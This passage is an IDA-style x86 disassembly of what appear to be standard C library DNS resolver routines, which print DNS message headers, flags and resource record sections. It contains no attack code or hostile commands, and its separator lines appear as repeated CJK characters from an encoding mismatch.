陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EF1C: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aGgp ; case 0x3 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EF28: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aSt ; case 0x5 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EF34: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aTcp ; case 0x6 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EF40: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aUcl ; case 0x7 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EF4C: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aEgp ; case 0x8 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EF58: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aIgp ; case 0x9 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EF64: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aNvpIi ; case 0xb mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EF70: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aPup ; case 0xc mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EF7C: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aChaos ; case 0x10 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EF88: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aUdp ; case 0x11 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EF94: ; CODE XREF: sub_805EEA4+Cj ; sub_805EEA4+12j ; DATA XREF: ... push edx ; default push offset aD_0 ; "%d" push offset unk_807E3C4 call sprintf mov eax, offset unk_807E3C4 mov esp, ebp pop ebp retn sub_805EEA4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805EFB0 proc near ; CODE XREF: sub_805F1DC+3FCp ; sub_805F1DC+42Ep ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_8] mov edx, [ebp+arg_18] mov edi, [ebp+arg_10] and edi, dword_80786A4 mov ax, [ebp+arg_C] xchg al, ah movzx esi, ax test esi, esi jz loc_805F14C cmp dword_80786A4, 0 jz short loc_805EFEC test edi, edi jz short loc_805EFF9 test byte ptr dword_80786A4+1, 1 jz short loc_805EFF9 loc_805EFEC: ; CODE XREF: sub_805EFB0+2Dj push edx mov ecx, [ebp+arg_14] push ecx call _IO_fprintf add esp, 8 loc_805EFF9: ; CODE XREF: sub_805EFB0+31j ; sub_805EFB0+3Aj dec esi js loc_805F110 mov eax, esi not eax and eax, 1 cmp esi, 0FFFFFFFFh jle short loc_805F010 test eax, eax jz short loc_805F068 loc_805F010: ; CODE XREF: sub_805EFB0+5Aj cmp dword_80786A4, 0 jz short loc_805F01D test edi, edi jz short loc_805F030 loc_805F01D: ; CODE XREF: sub_805EFB0+67j mov ecx, [ebp+arg_14] push ecx mov ecx, [ebp+arg_0] push ecx push ebx call sub_805F7E4 mov ebx, eax jmp short loc_805F050 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F030: ; CODE XREF: sub_805EFB0+6Bj lea eax, [ebx+0FFh] push eax push ebx call sub_804D404 lea ebx, [eax+ebx+8] push ebx call sub_804D6B8 and eax, 0FFFFh lea ebx, [eax+ebx+2] loc_805F050: ; CODE XREF: sub_805EFB0+7Dj add esp, 0Ch mov eax, ebx sub eax, [ebp+arg_0] cmp [ebp+arg_4], eax jl loc_805F13C dec esi js loc_805F110 loc_805F068: ; CODE XREF: sub_805EFB0+5Ej ; sub_805EFB0+15Aj cmp dword_80786A4, 0 jz short loc_805F075 test edi, edi jz short loc_805F088 loc_805F075: ; CODE XREF: sub_805EFB0+BFj mov ecx, [ebp+arg_14] push ecx mov ecx, [ebp+arg_0] push ecx push ebx call sub_805F7E4 mov ebx, eax jmp short loc_805F0A8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F088: ; CODE XREF: sub_805EFB0+C3j lea eax, [ebx+0FFh] push eax push ebx call sub_804D404 lea ebx, [eax+ebx+8] push ebx call sub_804D6B8 and eax, 0FFFFh lea ebx, [eax+ebx+2] loc_805F0A8: ; CODE XREF: sub_805EFB0+D5j add esp, 0Ch mov eax, ebx sub eax, [ebp+arg_0] cmp [ebp+arg_4], eax jl loc_805F13C dec esi cmp dword_80786A4, 0 jz short loc_805F0C7 test edi, edi jz short loc_805F0DC loc_805F0C7: ; CODE XREF: sub_805EFB0+111j mov ecx, [ebp+arg_14] push ecx mov ecx, [ebp+arg_0] push ecx push ebx call sub_805F7E4 mov ebx, eax jmp short loc_805F0FC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F0DC: ; CODE XREF: sub_805EFB0+115j lea eax, [ebx+0FFh] push eax push ebx call sub_804D404 lea ebx, [eax+ebx+8] push ebx call sub_804D6B8 and eax, 0FFFFh lea ebx, [eax+ebx+2] loc_805F0FC: ; CODE XREF: sub_805EFB0+127j add esp, 0Ch mov eax, ebx sub eax, [ebp+arg_0] cmp [ebp+arg_4], eax jl short loc_805F13C dec esi jns loc_805F068 loc_805F110: ; CODE XREF: sub_805EFB0+4Aj ; sub_805EFB0+B2j cmp dword_80786A4, 0 jz short loc_805F126 test edi, edi jz short loc_805F14C test byte ptr dword_80786A4+1, 1 jz short loc_805F14C loc_805F126: ; CODE XREF: sub_805EFB0+167j mov ecx, [ebp+arg_14] mov eax, [ecx+14h] cmp [ecx+18h], eax ja short loc_805F140 push 0Ah push ecx call sub_8061910 jmp short loc_805F14C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F13C: ; CODE XREF: sub_805EFB0+ABj ; sub_805EFB0+103j ... xor eax, eax jmp short loc_805F14E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F140: ; CODE XREF: sub_805EFB0+17Fj mov ecx, [ebp+arg_14] mov eax, [ecx+14h] mov byte ptr [eax], 0Ah inc dword ptr [ecx+14h] loc_805F14C: ; CODE XREF: sub_805EFB0+20j ; sub_805EFB0+16Bj ... mov eax, ebx loc_805F14E: ; CODE XREF: sub_805EFB0+18Ej lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805EFB0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp mov eax, [ebp+8] push offset unk_8078750 push eax call sub_805F670 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000006B BYTES: COLLAPSED FUNCTION __fp_resstat. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805F1DC proc near ; CODE XREF: res_send+63p ; res_send+893p ... var_114 = byte ptr -114h var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push edi push esi push ebx mov esi, [ebp+arg_8] test byte ptr dword_807854C, 1 jnz short loc_805F202 call res_init cmp eax, 0FFFFFFFFh jz loc_805F663 loc_805F202: ; CODE XREF: sub_805F1DC+16j mov edx, [ebp+arg_0] mov [ebp+var_108], edx mov ebx, edx add ebx, 0Ch mov edx, [ebp+arg_4] add edx, ebx mov [ebp+var_104], edx cmp dword_80786A4, 0 jz short loc_805F236 test byte ptr dword_80786A4+1, 8 jnz short loc_805F236 mov edx, [ebp+arg_0] test byte ptr [edx+3], 0Fh jz short loc_805F295 loc_805F236: ; CODE XREF: sub_805F1DC+46j ; sub_805F1DC+4Fj mov edx, [ebp+var_108] mov ax, [edx] xchg al, ah and eax, 0FFFFh push eax mov al, [edx+3] and eax, 0Fh mov eax, dword_8078FEC[eax*4] push eax mov al, [edx+2] shr al, 3 and eax, 0Fh mov eax, dword_8078FAC[eax*4] push eax push offset aHeaderOpcodeSS ; ";; ->>HEADER<<- opcode: %s, status: %s,"... push esi call _IO_fprintf add esp, 14h mov eax, [esi+14h] cmp [esi+18h], eax ja short loc_805F28C push 0Ah push esi call sub_8061910 add esp, 8 jmp short loc_805F295 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F28C: ; CODE XREF: sub_805F1DC+9Ej mov eax, [esi+14h] mov byte ptr [eax], 0Ah inc dword ptr [esi+14h] loc_805F295: ; CODE XREF: sub_805F1DC+58j ; sub_805F1DC+ABj cmp dword_80786A4, 0 jz short loc_805F2A7 test byte ptr dword_80786A4+1, 8 jz short loc_805F2C5 loc_805F2A7: ; CODE XREF: sub_805F1DC+C0j mov eax, [esi+14h] cmp [esi+18h], eax ja short loc_805F2BC push 3Bh push esi call sub_8061910 add esp, 8 jmp short loc_805F2C5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F2BC: ; CODE XREF: sub_805F1DC+D1j mov eax, [esi+14h] mov byte ptr [eax], 3Bh inc dword ptr [esi+14h] loc_805F2C5: ; CODE XREF: sub_805F1DC+C9j ; sub_805F1DC+DEj cmp dword_80786A4, 0 jz short loc_805F2DB test byte ptr dword_80786A4+1, 2 jz loc_805F36B loc_805F2DB: ; CODE XREF: sub_805F1DC+F0j push offset aFlags ; "; flags:" push esi call _IO_fprintf add esp, 8 mov edx, [ebp+var_108] cmp byte ptr [edx+2], 0 jge short loc_805F303 push offset aQr ; " qr" push esi call _IO_fprintf add esp, 8 loc_805F303: ; CODE XREF: sub_805F1DC+117j mov edx, [ebp+var_108] test byte ptr [edx+2], 4 jz short loc_805F31D push offset aAa ; " aa" push esi call _IO_fprintf add esp, 8 loc_805F31D: ; CODE XREF: sub_805F1DC+131j mov edx, [ebp+var_108] test byte ptr [edx+2], 2 jz short loc_805F337 push offset aTc ; " tc" push esi call _IO_fprintf add esp, 8 loc_805F337: ; CODE XREF: sub_805F1DC+14Bj mov edx, [ebp+var_108] test byte ptr [edx+2], 1 jz short loc_805F351 push offset aRd ; " rd" push esi call _IO_fprintf add esp, 8 loc_805F351: ; CODE XREF: sub_805F1DC+165j mov edx, [ebp+var_108] cmp byte ptr [edx+3], 0 jge short loc_805F36B push offset aRa ; " ra" push esi call _IO_fprintf add esp, 8 loc_805F36B: ; CODE XREF: sub_805F1DC+F9j ; sub_805F1DC+17Fj cmp dword_80786A4, 0 jz short loc_805F381 test byte ptr dword_80786A4+1, 1 jz loc_805F401 loc_805F381: ; CODE XREF: sub_805F1DC+196j mov edx, [ebp+var_108] mov ax, [edx+4] xchg al, ah and eax, 0FFFFh push eax push offset aQuesD ; "; Ques: %d" push esi call _IO_fprintf add esp, 0Ch mov edx, [ebp+var_108] mov ax, [edx+6] xchg al, ah and eax, 0FFFFh push eax push offset aAnsD ; ", Ans: %d" push esi call _IO_fprintf add esp, 0Ch mov edx, [ebp+var_108] mov ax, [edx+8] xchg al, ah and eax, 0FFFFh push eax push offset aAuthD ; ", Auth: %d" push esi call _IO_fprintf add esp, 0Ch mov edx, [ebp+var_108] mov ax, [edx+0Ah] xchg al, ah and eax, 0FFFFh push eax push offset aAdditD ; ", Addit: %d" push esi call _IO_fprintf add esp, 0Ch loc_805F401: ; CODE XREF: sub_805F1DC+19Fj cmp dword_80786A4, 0 jz short loc_805F413 test byte ptr dword_80786A4+1, 0Bh jz short loc_805F431 loc_805F413: ; CODE XREF: sub_805F1DC+22Cj mov eax, [esi+14h] cmp [esi+18h], eax ja short loc_805F428 push 0Ah push esi call sub_8061910 add esp, 8 jmp short loc_805F431 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F428: ; CODE XREF: sub_805F1DC+23Dj mov eax, [esi+14h] mov byte ptr [eax], 0Ah inc dword ptr [esi+14h] loc_805F431: ; CODE XREF: sub_805F1DC+235j ; sub_805F1DC+24Aj mov edx, [ebp+var_108] mov ax, [edx+4] xchg al, ah movzx edi, ax test edi, edi jz loc_805F5B0 cmp dword_80786A4, 0 jz short loc_805F45A test byte ptr dword_80786A4, 10h jz short loc_805F468 loc_805F45A: ; CODE XREF: sub_805F1DC+273j push offset aQuestions ; ";; QUESTIONS:\n" push esi call _IO_fprintf add esp, 8 loc_805F468: ; CODE XREF: sub_805F1DC+27Cj dec edi js loc_805F5B0 nop loc_805F470: ; CODE XREF: sub_805F1DC+3CEj cmp dword_80786A4, 0 jz short loc_805F482 test byte ptr dword_80786A4, 10h jz short loc_805F490 loc_805F482: ; CODE XREF: sub_805F1DC+29Bj push offset asc_806969E ; ";;\t" push esi call _IO_fprintf add esp, 8 loc_805F490: ; CODE XREF: sub_805F1DC+2A4j cmp [ebp+var_104], ebx jbe loc_805F650 cmp dword_80786A4, 0 jz short loc_805F4AE test byte ptr dword_80786A4, 10h jz short loc_805F4C4 loc_805F4AE: ; CODE XREF: sub_805F1DC+2C7j push esi mov edx, [ebp+arg_4] push edx mov edx, [ebp+arg_0] push edx push ebx call sub_805F68C mov ebx, eax add esp, 10h jmp short loc_805F4EE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F4C4: ; CODE XREF: sub_805F1DC+2D0j push 100h lea eax, [ebp+var_100] push eax push ebx mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax mov edx, [ebp+arg_0] push edx call dn_expand add esp, 14h test eax, eax jl loc_805F658 add ebx, eax loc_805F4EE: ; CODE XREF: sub_805F1DC+2E6j test ebx, ebx jz loc_805F658 cmp [ebp+var_104], ebx jbe loc_805F650 cmp dword_80786A4, 0 jz short loc_805F514 test byte ptr dword_80786A4, 10h jz short loc_805F534 loc_805F514: ; CODE XREF: sub_805F1DC+32Dj push ebx call sub_804D6B8 and eax, 0FFFFh push eax call __p_type push eax push offset aTypeS ; ", type = %s" push esi call _IO_fprintf add esp, 14h loc_805F534: ; CODE XREF: sub_805F1DC+336j add ebx, 2 cmp [ebp+var_104], ebx jbe loc_805F650 cmp dword_80786A4, 0 jz short loc_805F555 test byte ptr dword_80786A4, 10h jz short loc_805F575 loc_805F555: ; CODE XREF: sub_805F1DC+36Ej push ebx call sub_804D6B8 and eax, 0FFFFh push eax call sub_80605D0 push eax push offset aClassS ; ", class = %s\n" push esi call _IO_fprintf add esp, 14h loc_805F575: ; CODE XREF: sub_805F1DC+377j add ebx, 2 cmp dword_80786A4, 0 jz short loc_805F58A test byte ptr dword_80786A4, 10h jz short loc_805F5A9 loc_805F58A: ; CODE XREF: sub_805F1DC+3A3j mov eax, [esi+14h] cmp [esi+18h], eax ja short loc_805F5A0 push 0Ah push esi call sub_8061910 add esp, 8 jmp short loc_805F5A9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F5A0: ; CODE XREF: sub_805F1DC+3B4j mov eax, [esi+14h] mov byte ptr [eax], 0Ah inc dword ptr [esi+14h] loc_805F5A9: ; CODE XREF: sub_805F1DC+3ACj ; sub_805F1DC+3C1j dec edi jns loc_805F470 loc_805F5B0: ; CODE XREF: sub_805F1DC+266j ; sub_805F1DC+28Dj cmp [ebp+var_104], ebx jbe loc_805F650 push offset aAnswers ; ";; ANSWERS:\n" push esi push 20h mov edx, [ebp+var_108] movzx eax, word ptr [edx+6] push eax push ebx mov edx, [ebp+arg_4] push edx mov edx, [ebp+arg_0] push edx call sub_805EFB0 mov ebx, eax add esp, 1Ch test ebx, ebx jz short loc_805F658 cmp [ebp+var_104], ebx jbe short loc_805F650 push offset aAuthorityRecor ; ";; AUTHORITY RECORDS:\n" push esi push 40h mov edx, [ebp+var_108] movzx eax, word ptr [edx+8] push eax push ebx mov edx, [ebp+arg_4] push edx mov edx, [ebp+arg_0] push edx call sub_805EFB0 mov ebx, eax add esp, 1Ch test ebx, ebx jz short loc_805F658 cmp [ebp+var_104], ebx jbe short loc_805F650 push offset aAdditionalReco ; ";; ADDITIONAL RECORDS:\n" push esi push 80h mov edx, [ebp+var_108] movzx eax, word ptr [edx+0Ah] push eax push ebx mov edx, [ebp+arg_4] push edx mov edx, [ebp+arg_0] push edx call sub_805EFB0 mov ebx, eax add esp, 1Ch test ebx, ebx jz short loc_805F658 jmp short loc_805F663 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F650: ; CODE XREF: sub_805F1DC+2BAj ; sub_805F1DC+320j ... push offset a___truncated ; "\n;; ...truncated\n" jmp short loc_805F65D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F658: ; CODE XREF: sub_805F1DC+30Aj ; sub_805F1DC+314j ... push offset a___malformed ; "\n;; ...malformed\n" loc_805F65D: ; CODE XREF: sub_805F1DC+479j push esi call _IO_fprintf loc_805F663: ; CODE XREF: sub_805F1DC+20j ; sub_805F1DC+471j lea esp, [ebp+var_114] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805F1DC endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805F670 proc near ; CODE XREF: .text:0805F164p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax push 200h push edx call sub_805F1DC mov esp, ebp pop ebp retn sub_805F670 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805F68C proc near ; CODE XREF: sub_805F1DC+2DCp ; .text:0805F724p var_10C = byte ptr -10Ch var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 100h push edi push esi push ebx mov edi, [ebp+arg_0] mov eax, [ebp+arg_4] mov ebx, [ebp+arg_C] push 100h lea edx, [ebp+var_100] push edx push edi mov edx, eax add edx, [ebp+arg_8] push edx push eax call dn_expand mov esi, eax add esp, 14h test esi, esi jge short loc_805F6C8 xor eax, eax jmp short loc_805F700 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F6C8: ; CODE XREF: sub_805F68C+35j cmp [ebp+var_100], 0 jnz short loc_805F6F0 mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_805F6E4 push 2Eh push ebx call sub_8061910 jmp short loc_805F6FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F6E4: ; CODE XREF: sub_805F68C+4Bj mov eax, [ebx+14h] mov byte ptr [eax], 2Eh inc dword ptr [ebx+14h] jmp short loc_805F6FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F6F0: ; CODE XREF: sub_805F68C+43j push ebx lea eax, [ebp+var_100] push eax call _IO_fputs loc_805F6FD: ; CODE XREF: sub_805F68C+55j ; sub_805F68C+61j lea eax, [esi+edi] loc_805F700: ; CODE XREF: sub_805F68C+39j lea esp, [ebp+var_10C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805F68C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov ecx, [ebp+8] mov edx, [ebp+0Ch] mov eax, [ebp+10h] push eax push 200h push edx push ecx call sub_805F68C mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805F730 proc near ; CODE XREF: sub_805F7E4+3Ap ; sub_805F7E4+3C7p ... var_110 = byte ptr -110h var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push edi push esi push ebx mov eax, [ebp+arg_4] mov esi, [ebp+arg_8] push 100h lea edx, [ebp+var_100] push edx mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] add edx, 0FFh push edx push eax call dn_expand mov [ebp+var_104], eax add esp, 14h test eax, eax jge short loc_805F774 xor eax, eax jmp short loc_805F7D6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F774: ; CODE XREF: sub_805F730+3Dj cmp [ebp+var_100], 0 jnz short loc_805F788 mov eax, [esi+14h] cmp [esi+18h], eax jbe short loc_805F7BA jmp short loc_805F7C4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F788: ; CODE XREF: sub_805F730+4Bj push esi lea ebx, [ebp+var_100] push ebx call _IO_fputs xor al, al mov edi, ebx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax add esp, 8 cmp byte ptr [ebp+eax+var_104+2], 2Eh jz short loc_805F7CD mov eax, [esi+14h] cmp [esi+18h], eax ja short loc_805F7C4 loc_805F7BA: ; CODE XREF: sub_805F730+53j push 2Eh push esi call sub_8061910 jmp short loc_805F7CD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F7C4: ; CODE XREF: sub_805F730+55j ; sub_805F730+88j mov eax, [esi+14h] mov byte ptr [eax], 2Eh inc dword ptr [esi+14h] loc_805F7CD: ; CODE XREF: sub_805F730+80j ; sub_805F730+92j mov eax, [ebp+arg_0] add eax, [ebp+var_104] loc_805F7D6: ; CODE XREF: sub_805F730+41j lea esp, [ebp+var_110] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805F730 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805F7E4 proc near ; CODE XREF: sub_805EFB0+76p ; sub_805EFB0+CEp ... var_30 = byte ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_8] test byte ptr dword_807854C, 1 jnz short loc_805F818 call res_init cmp eax, 0FFFFFFFFh jnz short loc_805F818 mov ds:dword_807E788, 0FFFFFFFFh loc_805F810: ; CODE XREF: sub_805F7E4+46j ; sub_805F7E4+3D3j ... xor eax, eax jmp loc_805FFF7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F818: ; CODE XREF: sub_805F7E4+16j ; sub_805F7E4+20j push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 0Ch test esi, esi jz short loc_805F810 push esi call sub_804D6B8 and eax, 0FFFFh mov [ebp+var_8], eax add esi, 2 push esi call sub_804D6B8 movzx ebx, ax add esi, 2 push esi call sub_804D6D4 mov [ebp+var_1C], eax add esi, 4 push esi call sub_804D6B8 and eax, 0FFFFh mov [ebp+var_C], eax add esi, 2 mov [ebp+var_14], esi add esp, 10h cmp dword_80786A4, 0 jz short loc_805F87E test byte ptr dword_80786A4+1, 4 jz short loc_805F890 loc_805F87E: ; CODE XREF: sub_805F7E4+8Fj mov ecx, [ebp+var_1C] push ecx push offset aLu ; "\t%lu" push edi call _IO_fprintf add esp, 0Ch loc_805F890: ; CODE XREF: sub_805F7E4+98j cmp dword_80786A4, 0 jz short loc_805F8A2 test byte ptr dword_80786A4, 4 jz short loc_805F8B7 loc_805F8A2: ; CODE XREF: sub_805F7E4+B3j push ebx call sub_80605D0 push eax push offset aS_1 ; "\t%s" push edi call _IO_fprintf add esp, 10h loc_805F8B7: ; CODE XREF: sub_805F7E4+BCj mov ecx, [ebp+var_8] push ecx call __p_type push eax push offset aS_1 ; "\t%s" push edi call _IO_fprintf add esp, 10h mov eax, [ebp+var_8] dec eax cmp eax, 65h ; switch 102 cases ja loc_805FFA4 ; default jmp ds:off_805F8E4[eax*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 off_805F8E4 dd offset loc_805FA7C, offset loc_805FB00, offset loc_805FFA4 ; DATA XREF: sub_805F7E4+F8r dd offset loc_805FFA4, offset loc_805FB00, offset loc_805FB84 ; jump table for switch statement dd offset loc_805FB00, offset loc_805FB00, offset loc_805FB00 dd offset loc_805FFA4, offset loc_805FEC0, offset loc_805FB00 dd offset loc_805FB1C, offset loc_805FDEC, offset loc_805FCA0 dd offset loc_805FD14, offset loc_805FDEC, offset loc_805FCA0 dd offset loc_805FD14, offset loc_805FB1C, offset loc_805FCA0 dd offset loc_805FDC8, offset 